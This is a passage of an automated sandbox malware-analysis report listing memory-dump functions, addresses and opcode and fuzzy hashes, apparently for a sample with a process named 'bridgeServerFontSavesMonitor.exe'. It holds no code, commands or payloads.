Instruction Fuzzy Hash: 64E06561F1E81E5FF6B4A78884643B852D3EF6CB11F470172C40DD32A1DDA92D014794

Function 00007FFD9BAA3C45 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b6f1a43839b556c4ba731e042cc2b14c54ab8c9b26ce2780fa49dd05e4fb17f
Instruction ID: 8c5228382921ab91ce032d795e32e0f8eb3ea2b1709bebf3ac00cfdd462bbd8b
Opcode Fuzzy Hash: 8b6f1a43839b556c4ba731e042cc2b14c54ab8c9b26ce2780fa49dd05e4fb17f
Instruction Fuzzy Hash: 71E06D21F1A81D5FE6F4A74C84253B862D3EB6C701F420176C00DC32A1DD682D024794

Function 00007FFD9BAA0D01 Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b30334a9b78f9b230578b5062510d1162a9f147521ec3b148683eabbdc3f545
Instruction ID: 64bac5662ea4881fb5a8bcc897b89e737863e5645c1da0c4bf30722a1ef395d7
Opcode Fuzzy Hash: 6b30334a9b78f9b230578b5062510d1162a9f147521ec3b148683eabbdc3f545
Instruction Fuzzy Hash: 0CF0B431B0964E8EE7B8DF64C4906AD77E2EF54750F11417AD00DC32E5DA786680CA54

Function 00007FFD9BAA626F Relevance: .0, Instructions: 24COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fc6c25c7992e3e5800fb7d14b4d8e949453d5709581ceaeb450938cd91efcb44
Instruction ID: 43808d8f666e1dc4f9a90b4f9dd88d8e320c637c6c38f43af93ba1f5c88da300
Opcode Fuzzy Hash: fc6c25c7992e3e5800fb7d14b4d8e949453d5709581ceaeb450938cd91efcb44
Instruction Fuzzy Hash: 38E04F21F0682D2FE6B0A758C0643A85292EB6CB00F060172C40CC32A1DD6429428794

Function 00007FFD9BAA6A11 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction ID: 592830685c710e191fb463840f7aeedee90a1c284bcab971093a6569cda1cf6c
Opcode Fuzzy Hash: 9af5bc28fc2c0f0b71dd5e592dfd76922cbb1878aa8f2e7de69573f6f38a7678
Instruction Fuzzy Hash: C4E01220F0901E4BFBB4A794C8607B962A2AF99704F1640B4D80DD33E2DDB86F858755

Function 00007FFD9BAA5384 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction ID: bd3442ea4e735877b8db32a656f572c63090908754372b42d4afd2c019a513ff
Opcode Fuzzy Hash: a694a85e57c89b96afa3afa0940e3ba856f579c8a2424d16d51d4f95c1ccaad7
Instruction Fuzzy Hash: 1DE0EC24F0A90E4FEEA4FBA480786B822C39F94710F0A40B4D40EC71B2DDA8A9014720

Function 00007FFD9BAA0835 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction ID: 4ca0cf5f36246c5a70c8128036d966815203504818490876a24fa534440c4671
Opcode Fuzzy Hash: 410e05bf80eb868e35b7a61e13c3ebda97f337d5ee954246124ba18280ece236
Instruction Fuzzy Hash: 98C01210B5740D51D43473AEEC664EDB741AF4811CF864171E40D84096DC491587C1AA

Function 00007FFD9BAA0B9D Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction ID: 951c45c2a0a23ea344f7b847046ce02511c6079dafc3ae047fc3d06edc29c598
Opcode Fuzzy Hash: 2e3223773806dd1eeb8a33bfc36a23128a0ee8a43556ffbef35106e3682b1600
Instruction Fuzzy Hash: 27C0123062A80E8FDA90BB68C889824BBA0FB0E201BDA00E0E04CC71A1D65A98908700

Function 00007FFD9BAA06A5 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction ID: 0268459102ce0c551be7b4bb65256f8e7f6a4332d8e466b57c9c7ba72adca42b
Opcode Fuzzy Hash: 607a3deceb6852d5288b94f2c8b9b075914afb68c719db66ca5244cb50052f0a
Instruction Fuzzy Hash: 57C01200F0B40E01E43133AA14620ACA2025BC4E18FD30032D00C800A198DD22C901AA

Function 00007FFD9BAA308E Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8eb447ebd7bbe65cb2018bea1b70ca35f0fe5fe3d0c5337cced9014e83b2f9b
Instruction ID: a6576874de33ed06f4d98f5ffafd9bbb7056a6186c281d7f2bbaabebef240324
Opcode Fuzzy Hash: d8eb447ebd7bbe65cb2018bea1b70ca35f0fe5fe3d0c5337cced9014e83b2f9b
Instruction Fuzzy Hash: 62C0EA14F2A91E5AEAF8A7A480756B911C36F45B00F460578904ED32E2DDAC7A408AA5

Function 00007FFD9BAA34BF Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03c07ba3d503f8148af44623eebea4f7c56472a5d8ddb6cbcfa72f082278d017
Instruction ID: 8fe0ffd60fda3517722ea413d2fee838bd8bda109d290d3b0cf1838e5e7cb457
Opcode Fuzzy Hash: 03c07ba3d503f8148af44623eebea4f7c56472a5d8ddb6cbcfa72f082278d017
Instruction Fuzzy Hash: A8C04C01F1CC2A17F66966144C2567E04535F5472DFD901B4E41FC73DECD5D5E0206D6

Function 00007FFD9BAA06C8 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction ID: 5d4eb65805904c88ee28bc93bcbdd05bedc58eeb57ca7ffbcbff11d570561cfa
Opcode Fuzzy Hash: 1331302ace8906dc7ff6d84222f3b4709e12167f194fc678014da51f1390e612
Instruction Fuzzy Hash: DFB01200D5B44F01E43433FB089206874415B44204FC20070D40CC019198CD22D802A7

Function 00007FFD9BAA6A8C Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction ID: 8c43bb75ea278a86393614c8a78f3bb6d6f876162e107514682160d96059ff44
Opcode Fuzzy Hash: cac71e77d6b68aa96a6892ae0be65438d06d493e10b968ad6f9787162aca6423
Instruction Fuzzy Hash: 4EB09201F0E12B56F1B003E4026927902D34F64784F0B0438E80CC61F2FDDDAE010066

Non-executed Functions

Function 00007FFD9BAA09B0 Relevance: 5.2, Strings: 4, Instructions: 195COMMON

Download Yara Rule

Strings

c9, xrefs: 00007FFD9BAA0B56
"s9, xrefs: 00007FFD9BAA0B46
#{9, xrefs: 00007FFD9BAA0B3E
!k9, xrefs: 00007FFD9BAA0B4E

Memory Dump Source

Source File: 00000020.00000002.1980435687.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_32_2_7ffd9baa0000_SfLAFHFXIbHzHGgilQgXtKOw.jbxd

Similarity

API ID:
String ID: c9$!k9$"s9$#{9
API String ID: 0-1692736845
Opcode ID: cb88ab6d95ab85b49039db9082cebfb02cedc4d518de146a2e869499167111c5
Instruction ID: e1a95792946ef8f847ff6465fc7ab025d94a6d83d403f436d8d0e3fa9b867144
Opcode Fuzzy Hash: cb88ab6d95ab85b49039db9082cebfb02cedc4d518de146a2e869499167111c5
Instruction Fuzzy Hash: 2051BD17B0942745E339B3FD78219E96B449FA823FB0847B7F95E8D0C78C086486C2E9

Analysis Process: bridgeServerFontSavesMonitor.exePID: 7352, Parent PID: 1044COMMON

Executed Functions

Function 00007FFD9BAA0D48 Relevance: 1.5, Strings: 1, Instructions: 261COMMON

Download Yara Rule

Strings

5[_H, xrefs: 00007FFD9BAA0DF3

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAA0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAA0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9baa0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: 5[_H
API String ID: 0-3279724263
Opcode ID: a87ea84665323a5c20f2b3673ad0141311efdd2d23ecd8d5bdbbb109eb604abd
Instruction ID: be4786f5eba562b1326f63ffe8517bd55ce4c12cc5fd14e14c5b3200f2040df9
Opcode Fuzzy Hash: a87ea84665323a5c20f2b3673ad0141311efdd2d23ecd8d5bdbbb109eb604abd
Instruction Fuzzy Hash: B1911372B19A8D4FE799DB6888657A97FE1FFA5310F0101BED149DB2E2CAB818448700

Function 00007FFD9BAD1441 Relevance: .5, Instructions: 469COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3489494284b910247b47c742b7e7910088dc7a4b4475a71e34a7d7a71aaf045a
Instruction ID: cdb0ac652b6c16af3a09aba2ebea1c3c87bf18c9c1433815da8116a6f7b1651e
Opcode Fuzzy Hash: 3489494284b910247b47c742b7e7910088dc7a4b4475a71e34a7d7a71aaf045a
Instruction Fuzzy Hash: 7DD16E21B2E78D0BE32D8A684C920B57791EFE2205B1987BDD5DFC7097D97CA5078381

Function 00007FFD9BAD1475 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f09e576917ae001dbe34211c4fd4dab1f7966536b14612556593d13e8ec416ef
Instruction ID: cdbf31376c7f3ca82b963a3af8f21dc0ed4cd2ebe94caa0a2dffe61c67211794
Opcode Fuzzy Hash: f09e576917ae001dbe34211c4fd4dab1f7966536b14612556593d13e8ec416ef
Instruction Fuzzy Hash: 75819E71F2D35E0BE32C8A684C9207137D5EBE6216B1A877DD9DFC3197D868B9074281

Function 00007FFD9BACD5A9 Relevance: 1.3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BACD656

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: e3da3250f8a952a432e4e4f4ae42b29523072ea1052ad2eff0538366a8540c0e
Instruction ID: 3a7dc8bd3bfd12e319ddaaa5dce87e7c9e7dc72e6197c68f4e0fb0996ddfbaca
Opcode Fuzzy Hash: e3da3250f8a952a432e4e4f4ae42b29523072ea1052ad2eff0538366a8540c0e
Instruction Fuzzy Hash: 49215A61A4F3C90FD717A7B848384A4BFB0DE53204B4A41FBC0C9CB1E3E929994AC312

Function 00007FFD9BAD1F8F Relevance: 1.3, Strings: 1, Instructions: 64COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAD2066

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 0988b520bf36720074290b4f9fcdb710159774e90dfd87d8cc8228985839bf6c
Instruction ID: cdcfc39688d2d2f1a6f73dd7b5dcb403a8d164ad2abd99617c32dff0e906eb2d
Opcode Fuzzy Hash: 0988b520bf36720074290b4f9fcdb710159774e90dfd87d8cc8228985839bf6c
Instruction Fuzzy Hash: F4118F2054F3C19FCB17973488689957FA0AF53215B0E46EED089CF0B3DA6D494AC712

Function 00007FFD9BADA7C9 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BADA7E6

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 2b2e9e675e9fda10dfcc35592366e1560628dddb8ffdf8b868f72bf72621980d
Instruction ID: 4b691a84aa55324a6fada8ffa6b2d51747664d851721ac833ca502820b9a7b54
Opcode Fuzzy Hash: 2b2e9e675e9fda10dfcc35592366e1560628dddb8ffdf8b868f72bf72621980d
Instruction Fuzzy Hash: 40E06D7160B7C44FDB1AAA3488698547FB0EF6725174A52EEC046CB1A3EA2D988AC701

Function 00007FFD9BADA739 Relevance: 1.3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BADA756

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 63218a44874633beecc5e1481bf086e7d47d8054a94b427ccf30b4a1497d3ff8
Instruction ID: 9aceb90435605f060fdc96c5f08e7293f415da4b3538d590ec2a9900c18dd7c6
Opcode Fuzzy Hash: 63218a44874633beecc5e1481bf086e7d47d8054a94b427ccf30b4a1497d3ff8
Instruction Fuzzy Hash: 31F06D7160F7C44FDB1AAB348869854BFB0EF6720174A52EFC045CF1A3EA2D9889C711

Function 00007FFD9BACE749 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BACE766

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 99b7cbae7a79633cbf4d83eca1d4e6ace1150fcd1646e4a0a5f23ded423b0303
Instruction ID: 7dc62515e5a25d0cf39fa37612e37d6b0704086f294050e2e80564c1bb7433e8
Opcode Fuzzy Hash: 99b7cbae7a79633cbf4d83eca1d4e6ace1150fcd1646e4a0a5f23ded423b0303
Instruction Fuzzy Hash: 34E0927160E3C44FCB1AEA3488688557FA0EF6721174A41EEC046CF2A7EA2DCC85CB11

Function 00007FFD9BACD639 Relevance: 1.3, Strings: 1, Instructions: 27COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BACD656

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 281a4a4e1e53048b3a0d9c9b9a792fb829dc35484670c05a37bbe5055c9a8c79
Instruction ID: 8fb49fc0c64e48284013756920b368e82cdb6fbb8fa62bd0970d1960c763347a
Opcode Fuzzy Hash: 281a4a4e1e53048b3a0d9c9b9a792fb829dc35484670c05a37bbe5055c9a8c79
Instruction Fuzzy Hash: C7E09B7164A3C44FCB16963444684547F60EF6720174651FEC046CF1A7EE2DC846C701

Function 00007FFD9BAD2049 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

M, xrefs: 00007FFD9BAD2066

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: M
API String ID: 0-3664761504
Opcode ID: 415bd347d64a1418ce9e73fad9c43201355d73a6e7bde519eccb86d30cb3cb2c
Instruction ID: 60568fc3ed2c46f7c13e7c163899376ddbc296e11125522509f95c0dc0b45700
Opcode Fuzzy Hash: 415bd347d64a1418ce9e73fad9c43201355d73a6e7bde519eccb86d30cb3cb2c
Instruction Fuzzy Hash: A6E0927164E3C08FCB16EB34846C8547F60EE6720174A42EEC046CF2A3EA2DC886C711

Function 00007FFD9BAD8509 Relevance: 1.3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAD8526

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: d2d33003824b740559f5215b5f1fea58e43a21ef9a0563d1c9593224ee5f3aa8
Instruction ID: 53ce392930617d1a8745d219a18219cc2919e32d49b152bcd885b84858371cf5
Opcode Fuzzy Hash: d2d33003824b740559f5215b5f1fea58e43a21ef9a0563d1c9593224ee5f3aa8
Instruction Fuzzy Hash: FDE01A7154E3C44FCB0AAB7488658553FA09E6721078B40EEC186CF1B3E62D8949C701

Function 00007FFD9BADAFB9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BADAFD6

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: f3fc6ce4eb592dd6560b152c03c137b1cd02e615c457cd572b957e3192a89807
Instruction ID: ea6a32ed59c3f866ef6a8ee44195390a64c7a3f9bf60a799dc4e07935f10a712
Opcode Fuzzy Hash: f3fc6ce4eb592dd6560b152c03c137b1cd02e615c457cd572b957e3192a89807
Instruction Fuzzy Hash: 1BE0E5A154F7C44FCB16AB75886A9457FA0AE6B21078A41EEC185CB1B3EA298849C701

Function 00007FFD9BAD20D9 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

I, xrefs: 00007FFD9BAD20F6

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID: I
API String ID: 0-3707901625
Opcode ID: 43e5185a7d0cb2fedfddd3b3b1f84935eefc40eef69d0f9f0bacb548a3a1211e
Instruction ID: f57ad5038fb666fed311e58073aea0cd603fee516e5da23ec3e134c2db5bf561
Opcode Fuzzy Hash: 43e5185a7d0cb2fedfddd3b3b1f84935eefc40eef69d0f9f0bacb548a3a1211e
Instruction Fuzzy Hash: C1E01A6154F7C44FCB16EB74886A9447FA0AE6B31178B41EEC089CF1B3E62E9849C701

Function 00007FFD9BAB0906 Relevance: .9, Instructions: 871COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9e0e97ed55709a26054b9ceef4916b93214d85faec1198f52250647ff0601ccf
Instruction ID: 353a95b2223be90bb104e089b81711722730eec4fcee5ece6bef2425e6d94e4c
Opcode Fuzzy Hash: 9e0e97ed55709a26054b9ceef4916b93214d85faec1198f52250647ff0601ccf
Instruction Fuzzy Hash: 8E52D631B19A5E4FEBA8EB5884A16B873D2FF64710F0106B9D01ED32D6DE74BD818B41

Function 00007FFD9BAB15F8 Relevance: .7, Instructions: 723COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8faf6fbe24f82b415f44fcdfe78abb714d9d5cfd7fd6a4e8890cfc30b4613f
Instruction ID: daf6a8eac5fd5d85c293e81151148c068627d81cc1f89f8a2d109fb27330b2a1
Opcode Fuzzy Hash: 7d8faf6fbe24f82b415f44fcdfe78abb714d9d5cfd7fd6a4e8890cfc30b4613f
Instruction Fuzzy Hash: 8F32D531B19A5A4BEBA8EB5884A167873D2FF68700F0506BDD05EC31D7DE74B9818B41

Function 00007FFD9BAB0DC7 Relevance: .6, Instructions: 562COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7be85bd83afc748aa6526aa77089218770b5da251c9149ad62155fda747daf28
Instruction ID: d1d8bded0bf139a078fb1673758683f383b9810cfacea8db99c473e643e8b98f
Opcode Fuzzy Hash: 7be85bd83afc748aa6526aa77089218770b5da251c9149ad62155fda747daf28
Instruction Fuzzy Hash: C302E431F29A5A4FEB68DB58846577873A2FFA4700F1105B9D01EC72E6DE74BD828B40

Function 00007FFD9BAB0FA9 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bab0000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3131cd1f0452d9047671f2c573d76302a9177a2994b05d443836e07374f364b
Instruction ID: e3149a2865196f1b69daa37192bd0323fb6bec1cb830701681c01defd5782552
Opcode Fuzzy Hash: a3131cd1f0452d9047671f2c573d76302a9177a2994b05d443836e07374f364b
Instruction Fuzzy Hash: 28F1B631F2995A4FEB68DB5884A577873A2FFA4700F1106B9D01EC72D6DE74BD828B40

Function 00007FFD9BAD377D Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAD1000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAD1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bad1000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b994a4c199ed5a6ac0b2785444136facb194a242f590a9d60e94903d301e0cd
Instruction ID: 92286fde73ac0b192ac3226c5b2ab647de754bbc09831e86d0e6c00c81bee134
Opcode Fuzzy Hash: 6b994a4c199ed5a6ac0b2785444136facb194a242f590a9d60e94903d301e0cd
Instruction Fuzzy Hash: 2A91F421B1DA4E0FEBA8EB5884767B973D2EF98354F0443B9E40DC72E7DD68A9458340

Function 00007FFD9BAC93D3 Relevance: .2, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b7e910faa33f5aececaf36e9feeff2979c4e38ee750ebff0db8d37f64f06b92
Instruction ID: 3f38580ef97b36419f6082f2ef630b7f954d73be71af7ea4916359d0005bf40d
Opcode Fuzzy Hash: 7b7e910faa33f5aececaf36e9feeff2979c4e38ee750ebff0db8d37f64f06b92
Instruction Fuzzy Hash: 7461D630B199094FDB59EB68C4A5AB973E2FF98314F1146B9E00DC72D6CE38E9428741

Function 00007FFD9BAC946D Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000023.00000002.1985455082.00007FFD9BAC3000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9BAC3000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_7ffd9bac3000_bridgeServerFontSavesMonitor.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd0307f103ac3baf04c07ebd6f92451abcb62e91360271285c2ec615aae7a1bc
